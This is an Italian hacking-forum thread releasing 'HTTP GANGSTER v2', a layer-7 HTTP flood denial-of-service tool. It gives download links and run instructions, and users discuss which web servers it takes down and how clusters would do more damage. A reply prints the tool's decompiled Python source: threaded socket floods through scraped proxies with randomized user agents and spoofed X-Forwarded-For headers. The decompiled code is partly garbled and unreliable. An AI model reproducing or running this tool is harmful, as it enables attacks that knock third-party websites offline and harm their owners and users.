DoS (¯`·._.·[ HTTP GANGSTER v2| dd0sd3v t34m | LAYER 7 ]·._.·´¯)

Stato
Discussione chiusa ad ulteriori risposte.

D a v i d e

Utente Gold
13 Gennaio 2011
772
62
92
283
Ultima modifica:
Sicuramente più prestante e potente della precendente versione, cambiata completamente la logica :D testare per credere,
vi lascio il link a quella vecchia e le istruzioni
Old release: http://www.inforge.net/xi/threads/¯-·-_-·-http-gangster-dd0sd3v-t34m-layer-7-·-_-·´¯.434032/
Download: .........:::HTTP GANGSTER:::..........
Download: Password
Screen:
68vac7.jpg

2ih05ty.jpg


Istruzioni:
- Scaricare il programma e una BUONA lista proxy (dipende molto anche da questa, in formato IP : PORT)
- Metodo1: lanciarlo con python3 httpgangster.pyc
- Metodo2: chmod +x httpgangster.pyc && ./httpgangster.pyc
- Scaricare il file "password.txt" all'interno della stessa cartella per far si che il programma possa controllare che sia corretta

CHANGELOG:
Migliore stabilità
Minor bug

AVVISO: Chi ha la vecchia versione dovrà riscaricare la nuova per vari fix e cambiamento di password.
 
oltretutto non c'è modo di vedere la source.. vabbe continua così eh :))))))))))))))))
 
Feedback?
Vedo che in molti lo avete scaricato,
L'ho testato varie volte e questa versione mi sembra stabile. Ci sono macchine che lo reggono e chi no ma nel complesso fa quello che deve fare...
 
Che pizza, sono le solite cose. Perchè non fate qualcosa di nuovo come LPStresser? Magari.
Oppure non avete idee?
 
Sono due cose letteralmente diverse, hping spoofa perchè usa il protocollo TCP e basta cambiare header al pacchetto. Senza contare che ormai i flood TCP sono filtrabili con poche regole (basta qualche iptables e syncookies [tralasciando il fatto che gran parte degli hosting ha già firewall integrati o con servizi di terzi come cloudflare, bazingfast e molti altri])
Questo invece usa il protocollo HTTP e ovviamente non puoi spoofare ma proxare le richieste.
Ad ogni modo non è facile come credi, magari implementandolo su un cluster forse riesce a far più danno sulle macchine ben gestite. Per dire questo script fa già un pò fatica su una macchina con nginx, mentre con apache2 viene sfruttato meglio.
 
Sono due cose letteralmente diverse, hping spoofa perchè usa il protocollo TCP e basta cambiare header al pacchetto. Senza contare che ormai i flood TCP sono filtrabili con poche regole (basta qualche iptables e syncookies [tralasciando il fatto che gran parte degli hosting ha già firewall integrati o con servizi di terzi come cloudflare, bazingfast e molti altri])
Questo invece usa il protocollo HTTP e ovviamente non puoi spoofare ma proxare le richieste.
Ad ogni modo non è facile come credi, magari implementandolo su un cluster forse riesce a far più danno sulle macchine ben gestite. Per dire questo script fa già un pò fatica su una macchina con nginx, mentre con apache2 viene sfruttato meglio.

Questo lo so, il mio ragionamento non comportava il protocollo, ho solamente risposto alla tua affermazione che funziona solo su servizi "schifosi", a sto punto uso un attacco TCP con hping che è pure più sicuro...

era solo per farti capire che un layer7 deve funzionare al 90% se no è inutile usarlo... per esempio quello di runnix, appena pubblicato era come backself, tirava giù praticamente di tutto.
 
Il mio è simile nel senso che non usa url lib ma i socket quindi ha prestazioni abbastanza buone, non saprei proprio :)

PS: hai provato quello di runix e questo sulla macchina che vuoi buttare giu?? Se si, il suo lo riesce a buttare giu mentre il mio no?? A me sembra un pò più prestante questo però boh non saprei ^^
 
Il mio è simile nel senso che non usa url lib ma i socket quindi ha prestazioni abbastanza buone, non saprei proprio :)

PS: hai provato quello di runix e questo sulla macchina che vuoi buttare giu?? Se si, il suo la riesce a buttare giu mentre il mio no?? A me sembra un pò più prestante questo però boh non saprei ^^
 
nono non l'ho provato...

solitamente non uso layer7 il tuo non l'ho nemmeno provato, infatti non ho criticato il programma... ho solo fatto un osservazione.
 
nono non l'ho provato...

solitamente non uso layer7 il tuo non l'ho nemmeno provato, infatti non ho criticato il programma... ho solo fatto un osservazione.
Ah d'accordo, non avevo capito scusami :) effettivamente hai ragione però come ho detto non è facile con un semplice script in python, magari con più macchine sicuramente si, l'effetto lo ha. Però sulla maggior parte che trovo ce la faccio con la macchina :p
 
oltretutto non c'è modo di vedere la source.. vabbe continua così eh :))))))))))))))))
La decompilazione e' banale.

Codice:
# Source Generated with Decompyle++
# File: httpgangster.pyc (Python 3.4)

import urllib.request as urllib
import os
import threading
import time
import random
import sys
import string
import urllib
import multiprocessing
import hashlib
import getpass
import socket
import http.client as http
CONST_USERAGENT = [
  'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
  'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
  'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0',
  'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
  'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
  'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
  'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
  'Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00',
  'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14',
  'Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02',
  'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00',
  'Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00',
  'Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)',
  'HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)',
  'Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)',
  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+',
  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
  'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
  'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
  'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
  'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
  'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27']

def MyProcess():
  '''MyProcess'''
  __qualname__ = 'MyProcess'
   
  def __init__(self, url, proxy_list, threads_number):
  multiprocessing.Process.__init__(self)
  self.url = url
  self.proxy_list = proxy_list
  self.threads_number = threads_number

   
  def run(self):
  for i in range(self.threads_number):
  Boomer(self.url, self.proxy_list).start()
   


MyProcess = <NODE:28>(MyProcess, 'MyProcess', multiprocessing.Process)

def Boomer():
  '''Boomer'''
  __qualname__ = 'Boomer'
   
  def __init__(self, target_url, proxy_list):
  threading.Thread.__init__(self)
  self.target_url = target_url
  self.proxy_list = proxy_list
  self.prob = random.randrange(0, 10, 1)

   
  def randomIp(self):
  random.seed()
  result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  return result

   
  def randomIpList(self):
  random.seed()
  res = ''
  for ip in range(random.randint(2, 8)):
  res = res + self.randomIp() + ', '
   
  return res[0:len(res) - 2]

   
  def randomUserAgent(self):
  return random.choice(CONST_USERAGENT)

   
  def run(self):
  method = 'GET'
  if random.randrange(0, 10, 1) >= 5:
  method = 'POST'
  proxy_selected = random.choice(self.proxy_list).split(':')
  head = method + ' ' + self.target_url + ' HTTP/1.1\r\n'
  host_url = self.target_url.replace('http://', '').replace('https://', '').split('/')[0]
  host = 'Host: ' + host_url + '/ \r\n'
  accept = 'Accept-Encoding: gzip, deflate\r\n'
  user_agent = 'User-Agent: ' + self.randomUserAgent() + '\r\n'
  connection = 'Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n'
  x_forwarded_for = 'X-Forwarded-For: ' + self.randomIpList() + '\r\n'
  http_request = head + host + user_agent + accept + x_forwarded_for + connection + '\r\n'
  while None:
   
  try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((proxy_selected[0], int(proxy_selected[1])))
  s.send(http_request.encode('utf-8'))
  print('@' + method + ' request make.')
   
  try:
  for i in range(3):
  s.send(http_request)
  except:
  tts = 1

  continue
  proxy = random.choice(self.proxy_list).split(':')
  continue

  continue
  return None


Boomer = <NODE:28>(Boomer, 'Boomer', threading.Thread)

class Main:
  __qualname__ = 'Main'
   
  def __init__(self):
  if os.name in ('nt', 'dos', 'ce'):
  os.system('cls')
  os.system('title  ..................::HTTP GANGSTER::..................')
  os.system('color a')
  color = [
  'a',
  'b',
  'c',
  'd',
  'e',
  'f']
  os.system('color %s' % color[random.randrange(0, len(color), 1)])
  else:
  linux_shell_color = [
  '\x1b[31m',
  '\x1b[32m',
  '\x1b[33m',
  '\x1b[34m',
  '\x1b[35m',
  '\x1b[36m',
  '\x1b[37m',
  '\x1b[95m',
  '\x1b[94m',
  '\x1b[92m',
  '\x1b[93m',
  '\x1b[91m',
  '\x1b[0m']
  print(linux_shell_color[random.randrange(0, len(linux_shell_color), 1)])
  disclaimer = ' \n' \
  '  _  _  ___  _ _____  ' \
  '  __| | __| |/ _ \\ ___  __| |___ /_  __\n' \
  '  / _` |/ _` | | | / __|/ _` | |_ \\ \\ / /\n' \
  '  | (_| | (_| | |_| \\__ \\ (_| |___) \\ V / \n' \
  '  \\__,_|\\__,_|\\___/|___/\\__,_|____/ \\_/  \n' \
  '  ### Using this program you are responsible of your action.\n' \
  '  ### Be carefull and read TOS.\n' \
  '  ### Author and copyright are reserverd by dd0sd3v t34m.\n' \
  '\n' \
  '  BY ACCESSING AND USING THE SERVICES IN ANY MANNER, YOU ARE "ACCEPTING" \n' \
  '  AND AGREEING TO BE BOUND BY THESE TERMS OF SERVICE TO THE EXCLUSION OF ALL OTHER TERMS. \n' \
  '  IF YOU DO NOT UNCONDITIONALLY ACCEPT THESE TERMS IN THEIR ENTIRETY, \n' \
  '  YOU SHALL NOT (AND SHALL HAVE NO RIGHT TO) ACCESS OR USE THE SERVICES. \n' \
  '  IF THE TERMS OF THIS AGREEMENT ARE CONSIDERED AN OFFER, ACCEPTANCE IS EXPRESSLY LIMITED TO SUCH TERMS. \n' \
  '  THESE TERMS SHOULD BE READ IN CONJUNCTION WITH HOOTSUITE\xc3\xa2\xe2\x82\xac\xe2\x84\xa2S PRIVACY POLICY AND COPYRIGHT POLICY.\n' \
  '\n' \
  '  Wherever used in these Terms of Service, \xc3\xa2\xe2\x82\xac\xc5\x93you\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93your\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93Customer\xc3\xa2\xe2\x82\xac\xc2\x9d, or similar terms means ' \
  '  the person or legal entity accessing or using the Services.  If you are accessing and \n' \
  '  using the Services on behalf of a company (such as your employer) or other legal entity, \n' \
  '  you represent and warrant that you have the authority to bind that company\n' \
  '  or other legal entity to these Terms of Service.\n' \
  '\n' \
  '\n' \
  '  ..................::HTTP GANGSTER::..................' \
  '  '
  print(disclaimer)

   
  def check_url(self, url):
  if url[0] + url[1] + url[2] + url[3] == 'www.':
  url = 'http://' + url
  elif url[0] + url[1] + url[2] + url[3] == 'http':
  pass
  else:
  url = 'http://' + url
  return url

   
  def retrieve_proxy(self):
  sourcecode = urllib.request.urlopen('http://free-proxy-list.net/')
  half = str(sourcecode.read())
  half = half.split('<tbody>')
  half = half[1].split('</tbody>')
  half = half[0].split('<tr><td>')
  proxy_list = ''
  for proxy in half:
  proxy = proxy.split('</td><td>')
   
  try:
  proxy_list = proxy_list + proxy[0] + ':' + proxy[1] + '\n'
  continue
  continue

   
  out_file = open('proxy.txt', 'w')
  out_file.write(proxy_list)
  out_file.close()

   
  def setup(self):
  public_key = 'jjvbag%'
  secret_key = '&kk17cnH%'
   
  try:
  with open('password.txt', 'r') as f:
  password_file = f.readline()
  password_file = password_file.replace('\n', '')
  except:
  print('# Could not find password.txt.')
  sys.exit(0)

   
  try:
  sourcecode = urllib.request.urlopen('http://davide-gastaldello.it/other/pwdhttpgangster.txt')
  except:
  print('# Impossible to connect to the server, please try again.')
  sys.exit(0)

  hash1 = str(sourcecode.read().decode('utf-8'))
  hash2 = hashlib.sha1(password_file.encode('utf-8') + secret_key.encode('utf-8')).hexdigest() + '8a,' + public_key
  if hash1 != hash2:
  print("##FATAL ERROR##\n\nYou maybe need to update this program or your password isn't correct.\n\nCheck http://adf.ly/1MvW1X for more information or contact me at http://adf.ly/1MvWIx.")
  sys.exit(0)
  print('# Password correct.')
  target_url = input('# Enter URL to send requests: ')
  target_url = self.check_url(target_url)
  while None:
   
  try:
  s = str(input("# Enter 'y' to download a fresh proxy list or or leave empty to skip: "))
  if s == 'y':
  self.retrieve_proxy()
  print('# Proxy list successfully downloaded.')
  break
  continue
  print('# Failed to download the proxy list.')
  continue

  continue
  while None:
  ipotetical_list = str(input('# Enter the proxy list or leave empty to skip default [proxy.txt]: '))
  if ipotetical_list == '':
  ipotetical_list = 'proxy.txt'
   
  try:
  in_file = open(ipotetical_list, 'r')
  proxy_list = []
  for i in in_file:
  proxy_list.append(i.split('/n')[0])
   
  continue
  print('# Error to read file.')
  continue

  continue
  while None:
   
  try:
  pools_number = int(input('# Enter the number of parallel processes or leave empty to skip default [0]: '))
  except:
  pools_number = 0

  break
  continue
  while None:
   
  try:
  threads_number = int(input('# Enter the number of thread or leave empty to skip default [800]: '))
  except:
  threads_number = 800

  break
  continue
  for i in range(threads_number):
  Boomer(target_url, proxy_list).start()
  time.sleep(0.003)
  print('Thread ' + str(i) + ' is going up')
   
  if pools_number > 0:
  for pool_number in range(pools_number):
  MyProcess(target_url, proxy_list, threads_number).start()
   


if __name__ == '__main__':
  main = Main()
  main.setup()
 
  • Mi piace
Reazioni: TieuWi
Stato
Discussione chiusa ad ulteriori risposte.